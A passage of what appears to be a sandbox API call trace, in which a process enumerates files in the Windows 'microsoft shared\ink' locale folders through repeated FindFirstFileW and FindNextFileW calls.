ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.812] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.812] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.812] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.812] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.812] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.812] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0054.812] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB") returned 56 [0054.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0054.813] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.813] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0054.813] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.813] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US") returned 56 [0054.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0054.813] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="join.avi", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="split.avi", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0054.814] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0054.815] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.815] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0054.815] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES") returned 56 [0054.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0054.815] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.815] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0054.815] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.815] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0054.815] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX") returned 56 [0054.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0054.816] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.816] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, 